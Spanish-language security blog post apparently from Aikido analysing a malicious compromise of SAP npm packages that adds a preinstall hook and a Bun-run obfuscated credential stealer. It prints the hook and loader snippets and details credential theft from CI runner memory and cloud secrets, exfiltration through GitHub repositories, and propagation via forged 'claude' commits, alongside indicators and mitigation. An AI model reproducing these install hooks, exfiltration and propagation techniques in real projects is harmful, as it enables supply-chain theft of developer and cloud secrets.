Aikido

Mini Shai-Hulud ataca paquetes npm de SAP con un ladrón de secretos basado en Bun

Escrito por
Raphael Silva

Un nuevo compromiso de la cadena de suministro de npm está atacando el ecosistema de desarrolladores de SAP.

Los paquetes afectados que estamos rastreando hasta ahora son:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

El patrón es familiar, pero también un poco diferente: un paquete de confianza recibe un nuevo preinstall hook, el hook ejecuta un nuevo setup.mjs archivo, y ese cargador descarga el runtime de Bun JavaScript para ejecutar una gran carga útil ofuscada llamada execution.js.

La carga útil es un framework de robo y propagación de credenciales de 11,7 MB. Recopila credenciales de desarrollador locales, tokens de GitHub y npm, secretos de GitHub Actions y secretos de cloud de AWS, Azure, GCP y Kubernetes. Luego, exfiltra los resultados cifrados a través de repositorios públicos de GitHub.

El malware nombra esos repositorios con una descripción codificada:

Ha aparecido un Mini Shai-Hulud

Qué Sucedió

Los paquetes comprometidos utilizan la ejecución del ciclo de vida de npm. En lo que hemos visto hasta ahora, package.json fue modificado para añadir:

"scripts": {
    "preinstall": "node setup.mjs"
}

Eso significa que el código malicioso se ejecuta automáticamente durante npm install, incluso antes de que la instalación haya finalizado.

El paquete malicioso añade dos archivos:

  • setup.mjs
  • execution.js

El código del paquete normal sigue pareciéndose al paquete legítimo de SAP. En la @cap-js/sqlite@2.2.2 muestra, los archivos ordinarios coinciden con los limpios @cap-js/sqlite@2.2.1 byte a byte. El compromiso es el hook de instalación más los archivos de carga útil añadidos.

Punto de entrada probable

Una pista pública apunta a una causa probable: un token de npm expuesto a compilaciones de pull request a través de CircleCI.

Esto coincide con lo que encontramos en SAP/cloud-mta-build-tool. El 29 de abril, un PR borrador de corta duración titulado feat: aceleración de CI se abrió desde gruposbftechrecruiter/harkonnen-navigator-149. El PR se cerró en cuestión de minutos y la rama fue posteriormente forzada, dejando el diff actual de GitHub vacío.

CircleCI aún conservaba la parte importante. Una compilación de PR en pull/1223 extrajo el commit a959014aa7b7fc37a9b5730c951776e7db2920a6, que añadió un Bun loader en bin/config.mjs, añadió una carga útil ofuscada en bin/mbt.js, y cambió el comando de prueba a:

node ./bin/config.mjs && node ./bin/mbt

Esa prueba se ejecutó en un trabajo de PR donde CircleCI listó secretos de proyecto redactados, incluyendo CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, tokens OIDC de CircleCI, credenciales de Docker Hub, credenciales de Cloud Foundry y otras variables relacionadas con la publicación.

Los logs también mostraron advertencias de Octokit para POST https://api.github.com/user/repos, lo que coincide con el comportamiento de exfiltración de GitHub del malware.

Esto convierte la compilación de PR de CircleCI en la pista más sólida para el robo inicial de credenciales.

Cómo se ejecuta el malware

La primera etapa, setup.mjs, es un bootstrapper de Bun. Comprueba el sistema operativo y la arquitectura, descarga Bun 1.3.13 de GitHub cuando es necesario, extrae el binario y utiliza Bun para ejecutar execution.js.

const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });

La segunda etapa, execution.js, es una única carga útil grande y ofuscada. Utiliza una capa personalizada de ofuscación de cadenas etiquetada como ctf-scramble-v2, comprueba si se está ejecutando en CI, se cierra en configuraciones regionales rusas y se ejecuta como un demonio en máquinas que no son CI.

Qué roba

La carga útil está diseñada para afectar tanto a los portátiles de los desarrolladores como a los runners de CI/CD.

Intenta recopilar:

  • Tokens de GitHub, incluyendo la salida de gh auth token
  • Tokens de npm de .npmrc
  • variables de entorno
  • Secretos de GitHub Actions
  • Identidad de AWS STS, secretos de Secrets Manager y parámetros de SSM
  • Suscripciones de Azure, nombres de Key Vault y valores de secretos de Key Vault
  • Identidad de proyectos de GCP y valores de Secret Manager
  • Tokens de cuentas de servicio de Kubernetes
  • Configuración de Claude, configuración de MCP, bases de datos de tokens de GCP, cachés de tokens de Azure, configuración de Signal, billeteras Electrum y archivos de configuración de VPN

La ruta de GitHub Actions es especialmente preocupante. La carga útil incluye un ayudante Python incrustado que busca /proc el Runner.Worker proceso, lee su memoria y extrae estructuras de secretos enmascaradas del runner.

Palabra clave de exfiltración y propagación de GitHub

El malware utiliza GitHub como su canal de exfiltración.

La nueva palabra clave de propagación es:

Oh no, ¿qué está pasando con GitHub?

El malware busca esta cadena en los commits de GitHub y utiliza los mensajes de commit coincidentes como un punto de entrega de tokens. Los mensajes de commit que coinciden con OhNoWhatsGoingOnWithGitHub:<base64> se decodifican en tokens de GitHub y se comprueba su acceso al repositorio.

Cuando el malware puede crear un repositorio, utiliza nombres aleatorios con temática de Dune y establece la descripción del repositorio en:

Ha aparecido un Mini Shai-Hulud

y escribe archivos de resultados cifrados en:

results/results-<timestamp>-<counter>.json

Los datos se comprimen y cifran antes del commit utilizando AES-256-GCM, con la clave AES envuelta por una clave pública RSA incrustada.

Lógica de Propagación

La carga útil contiene lógica para propagarse a través de los flujos de trabajo de desarrollo y lanzamiento.

En las muestras analizadas, el malware busca la automatización de lanzamientos de GitHub Actions relacionada con cap-js/cds-dbs. Si detecta un flujo de trabajo de lanzamiento en ese contexto de repositorio, puede modificar un tarball de paquete mediante:

  • copiando la carga útil actual en execution.js
  • escribiendo setup.mjs
  • estableciendo scripts.preinstall = "node setup.mjs"
  • incrementando la versión de parche
  • reempaquetando el tarball

También intenta usar tokens robados de GitHub Actions para subir archivos a los repositorios:

  • .vscode/tasks.json
  • .vscode/setup.mjs
  • .claude/execution.js
  • .claude/setup.mjs
  • .claude/settings.json

Esos commits utilizan:

chore: actualizar dependencias

con el autor:

claude <claude@users.noreply.github.com>

SAP como objetivo

Los paquetes objetivo se encuentran en los flujos de trabajo de desarrollo habituales de SAP. @cap-js/sqlite, @cap-js/postgres, y @cap-js/db-service forman parte del ecosistema de bases de datos SAP CAP, mientras que mbt se utiliza en los flujos de trabajo de compilación de SAP Cloud MTA.

Esto hace que esta campaña sea pequeña en número de paquetes, pero con un impacto potencialmente alto. Es probable que estos paquetes se ejecuten en máquinas de desarrolladores y en ejecutores de CI que tienen acceso a GitHub, npm, credenciales de cloud y secretos de despliegue empresarial.

Detección y Mitigación

Busque en lockfiles, cachés de paquetes, logs de CI, registros internos, almacenes de artefactos y máquinas de desarrolladores lo siguiente:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48
  • setup.mjs
  • execution.js
  • preinstall scripts en ejecución node setup.mjs
  • Bun 1.3.13 descargas durante la instalación del paquete

Busque en GitHub:

  • resultados de búsqueda de commits para Oh no, ¿qué está pasando con GitHub?: https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits
  • repositorios con descripción Ha aparecido un Mini Shai-Hulud
  • commits que contienen Oh no, ¿qué está pasando con GitHub?
  • commits titulados chore: actualizar dependencias
  • commits creados por claude <claude@users.noreply.github.com>
  • inesperado .claude/ o .vscode/setup.mjs archivos
  • results/results-*.json archivos en repositorios públicos recién creados

Si se instaló algún paquete afectado, rote los secretos. No limite la rotación a los tokens de npm. La carga útil apunta a GitHub, npm, proveedores de cloud, Kubernetes, secretos de CI y herramientas de desarrollo local.

Cómo Aikido lo detecta

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Indicadores de Compromiso

Paquetes afectados:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

Hashes del analizado @cap-js/sqlite@2.2.2 ejemplo:

  • setup.mjs: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34
  • execution.js: 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95
  • volcador de memoria incrustado del runner de GitHub: 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7

Cadenas y marcadores:

  • Ha aparecido un Mini Shai-Hulud
  • Oh no, ¿qué está pasando con GitHub? (palabra clave de propagación / marcador de punto de entrega de commit de GitHub)
  • ctf-scramble-v2
  • tmp.987654321.lock
  • chore: actualizar dependencias
  • claude@users.noreply.github.com

URLs y endpoints:

  • hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50
  • hxxp://169.254.169.254
  • hxxp://169.254.170.2
  • hxxp://[fd00:ec2::254]

Compartir:

https://www.aikido.dev/blog/mini-shai-hulud-has-appeared

Escanear en busca de malware

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.